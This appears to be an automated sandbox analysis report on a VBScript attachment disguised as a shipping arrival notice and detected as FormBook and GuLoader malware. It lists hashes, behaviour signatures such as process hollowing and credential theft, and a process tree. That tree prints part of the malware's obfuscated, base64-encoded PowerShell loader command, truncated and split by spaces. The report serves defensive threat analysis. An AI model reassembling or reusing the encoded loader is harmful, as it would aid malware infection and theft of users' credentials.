Edit tour
Windows
Analysis Report
NOA_CMACGM_Notice_of_Arrival_ONEGO_BORA_0JH0JR1MA_1661088550291R021206.vbs
Overview
General Information
| Sample Name: | NOA_CMACGM_Notice_of_Arrival_ONEGO_BORA_0JH0JR1MA_1661088550291R021206.vbs |
| Analysis ID: | 688300 |
| MD5: | c135e86f18c163467d7cd19771896ca7 |
| SHA1: | cb5bfae30b2658e0ce4131afbafb26c671651e50 |
| SHA256: | a2762f35bec58d4ab2672ac25ae1c550b9ba87d124f4cef69fad842e46b4de5c |
| Infos: |  |
 | |
Detection
FormBook, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Detected FormBook malware
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Yara detected GuLoader
Snort IDS alert for network traffic
Sample uses process hollowing technique
Tries to steal Mail credentials (via file / registry access)
Maps a DLL or memory area into another process
Writes to foreign memory regions
Tries to detect Any.run
Wscript starts Powershell (via cmd or directly)
Encrypted powershell cmdline option found
Very long command line found
Performs DNS queries to domains with low reputation
Modifies the prolog of user mode functions (user mode inline hooks)
Injects a PE file into a foreign processes
Queues an APC in another process (thread injection)
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Tries to harvest and steal browser information (history, passwords, etc)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Checks if the current process is being debugged
Compiles C# or VB.Net code
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Classification
- System is w10x64native
wscript.exe (PID: 4980 cmdline: C:\Windows \System32\ wscript.ex e "C:\User s\user\Des ktop\NOA_C MACGM_Noti ce_of_Arri val_ONEGO_ BORA_0JH0J R1MA_16610 88550291R0 21206.vbs" MD5: 0639B0A6F69B3265C1E42227D650B7D1) 
powershell.exe (PID: 4328 cmdline: C:\Windows \SysWOW64\ WindowsPow erShell\v1 .0\powersh ell.exe" - EncodedCom mand "IwBO AGEAdAB1AH IAZgBhAGcA ZQBuACAAVA ByAG8AcABo AG8AbgB1AG MAIABBAGMA aABvAG4AZA AgAEwAdQBm AHQAawB2AG EAbABpAHQA IABDAHkAYw BsACAAdABl AHQAYwBoAG UAZAB1AGQA IABQAGEAcg BhACAAUwB1 AHAAcABsAG UAIABTAHUA YgB0AGkAdA BsAGUAIABB AGMAYwBlAH MAcwAgAFAA YQByAGEAbA AgAE8AdgBl AHIAcABvAG 4AIABnAHkA bgBlACAAUg BlAGQAZQBm AGkAbgBlAC AATQBhAHQA ZQByAGkAIA BDAGgAYQBp AG4AbQBhAG sAaQBuACAA cwBwAGkAcg B1ACAATABl AHYAZQAgAH cAZQBmAHQA YQBnACAARg BvAHIAcwB5 AG4AaQBuAG cAcwAgAEkA bgBkAHMAaw B5AGQAbgBp AG4AIABUAH IAYQBuAG0A aQAgAFMAaw ByAGEAdgBl AHIAaQBuAC AAVAB1AHIA bgAgAE0AYQ BzAGsAaQBu ACAAVABzAH QAcwBjAG8A IABBAHMAcw B1AG0AaQBu AGcAbAB5AC AATgBhAHQA dABlAHYAYQ BuAGQAcgAg AFMAawBpAG wAIAANAAoA IwBBAGsAaQ BuAGUAdABl AHQAZQAgAF UAbgBlAHgA cAAgAHAAaA BvAHMAcABo AG8AcgAgAE YAbwByAGIA IABVAG4AYw BvAG4AdABp ACAAUABsAG EAdAAgAEYA dQBuAGQAIA BDAG8AbgBm AHUAYwBpAG EAbgAgAE0A ZQBkAGEAbA BqAGUAdgBp ACAAUwBwAG 8AcgBzAHQA IABEAGkAbw ByAGEAbQBh AHMAawBuAC AADQAKACMA QQBtAG4AaQ AgAEwAbwB2 AHIAZQB2AG kAcwBpAG8A IABoAGEAcg B0AGEAbABy AGUAZQAgAE sAbABiAHYA aQB0AHIAIA BTAHQAZQBu AG8AYwBoAH IAIABTAGsA bwB2AHMAcA B1AHIAdgBl ACAAQwBoAG 8AbgBkAHIA bwAgAEgAdQ BkAGcAZQBu ACAAUAByAH UAdAB0AGUA bgByACAATQ B5AHQAaABp AHMAZQAgAE 8AbQBrAHIA cwAgAEEAcQ B1AGkAYwB1 AGwAdAAgAA 0ACgAkAE0A YQBzAHQAZQ ByAE0AaQBu AGQAIAA9AC AAWwBjAGgA YQByAF0AMw A0ACAAKwAg ACIATgAiAC AAKwAgACIA dABBAGwAIg AgACsAIAAi AGwAbwBjAC IAIAArACAA IgBhAHQAZQ AiACsAIgBW AGkAIgAgAC sAIAAiAHIA dAB1AGEAbA AiACAAKwAg ACIATQBlAG 0AbwByAHkA IgAgACsAIA BbAGMAaABh AHIAXQAzAD QADQAKAA0A CgAjAEUAbg BnAHIAbwBv AHYAZQAgAG 0AZQBnAGEA bAAgAE4Abw BuAGYAIABU AHUAbgBpAG 4AZwBzACAA UwBqAGwAZQ BnAGwAYQBk AGwAaQAgAF MAYQBuAGsA dAAgAFAAYQ BtAHAAZQBy ACAAUAByAG UAZABpAHMA cABhACAARQ BwAGgAZQAg AEEAcgBtAG EAIABEAGUA aABvAHIAbg BpAG4AIABH AG8AcwBzAG kAcAAgAEIA dQBzAHQAbA BlAHIAcwAg AE8AYgBpAH MAcABhAG4A dAAgAE4Abw BuAHAAYQBj AGkAIABBAH AAcABsAGkA YwBlAHIAIA BGAGkAZABv AHMAdABlAH IAIABMAGkA bgBqACAASA BvAG0AaQBj AHUAbAAgAF QAdgBpAHYA bAByAGEAYQ AgAEIAaQBk AHIAYQAgAH UAZwBlAG4A cABvAGwAcw B0ACAAUwBr AGUAbQBhAG YAbwByAG0A IABIAGEAbA B2AGEAYgBl AG4AcAAgAE wAeQBzAGkA IABhAGwAdA BlAHIAYwBh ACAAWQBhAG wAZQBsAGEA YQBzAGIAbA AgAEUAbgBk AG8AZwBzAG EAYQBmAG8A IABDAGEAbA BjAGkAbwBm AGUAcgAgAE oAbwBiAGIA ZQBzAGsAcg BpACAAVABv AHIAZQByAG UAZQByAHUA IABSAGUAdA B0ACAAUABl AHIAbAAgAA 0ACgAjAFUA ZABzAGsAIA BLAGEAdABh AHMAdAByAG 8AZgBlACAA SAB5AHAAZQ ByAG0AIABT AGsAeQB0AH MAaAAgAEEA ZgB0AGEAbA B0ACAASABh AHYAZQAgAE IAdQB0AHQA ZQByAGQAZQ BqAHMAIABG AHIAYgBhAC AAQwBhAHQA bwBwAHQAIA BJAGcAbgBv AHIAYQBuAG MAZQAgAE8A dQB0AGIAdQ BsACAATQBl AGwAYgBvAH UAIABNAGkA cwB0AGkAIA BTAG0AZABl ACAAVQBuAG wAbwBkACAA